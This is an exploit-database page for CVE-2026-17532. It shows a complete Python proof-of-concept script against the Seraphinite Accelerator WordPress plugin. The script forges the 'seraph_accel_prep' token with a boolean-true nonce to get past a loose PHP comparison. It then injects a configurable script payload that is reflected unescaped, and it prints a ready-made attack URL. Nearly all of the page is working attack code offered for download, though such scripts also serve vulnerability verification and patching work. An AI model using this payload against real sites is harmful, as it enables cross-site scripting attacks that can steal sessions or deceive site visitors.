Exploit database

GH-d68f87c02388f33c37ba450ffaa9fdd4

kalhoralireza/cve-2026-17532

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-17532

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files3
kalhoralireza/cve-2026-17532Revision b53551693f8a

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

seraph_accel_xss.py

Python · 1,951 bytes
#!/usr/bin/env python3
"""
Seraphinite Accelerator (WordPress) <= 2.29.18
Unauthenticated reflected XSS via the 'seraph_accel_prep' parameter.

The plugin signs the parameter with an HMAC, but compares it using PHP's loose
"!=". Sending the JSON boolean true as the nonce always passes the check, and
the 'selfTest' field is then echoed back unescaped as "selfTest-<value>".

    python3 seraph_accel_xss.py http://target-site.com
"""

import argparse
import base64
import json
import sys
import urllib.parse

import requests

PAYLOAD = "<script>alert(document.domain)</script>"


def build_url(target, nonce, self_test):
    params = {"_tm": "1", "nonce": nonce, "selfTest": self_test}
    token = base64.b64encode(json.dumps(params).encode()).decode()
    return target.rstrip("/") + "/?seraph_accel_prep=" + urllib.parse.quote(token)


def main():
    parser = argparse.ArgumentParser(description=__doc__.splitlines()[1])
    parser.add_argument("--url", help="target site, e.g. http://target-site.com", required=True)
    parser.add_argument("--payload", help="XSS payload (default: <script>alert(document.domain)</script>)", default=PAYLOAD)
    parser.add_argument("--timeout", type=int, default=30, help="seconds (default: 30)")
    args = parser.parse_args()

    attack_url = build_url(args.url, True, args.payload)

    try:
        print("[*] Sending the request with the XSS payload (takes ~5s)")
        attack = requests.get(attack_url, timeout=args.timeout)
    except requests.RequestException as error:
        print("[!] Request failed:", error)
        return 2

    expected = "selfTest-" + args.payload
    if attack.status_code == 200 and expected in attack.text:
        print("[+] VULNERABLE - reflected unescaped:", expected)
        print("[+] Open in a browser:", attack_url)
        return 0

    print("\n[-] Not vulnerable - the payload was not reflected.")
    return 1


if __name__ == "__main__":
    sys.exit(main())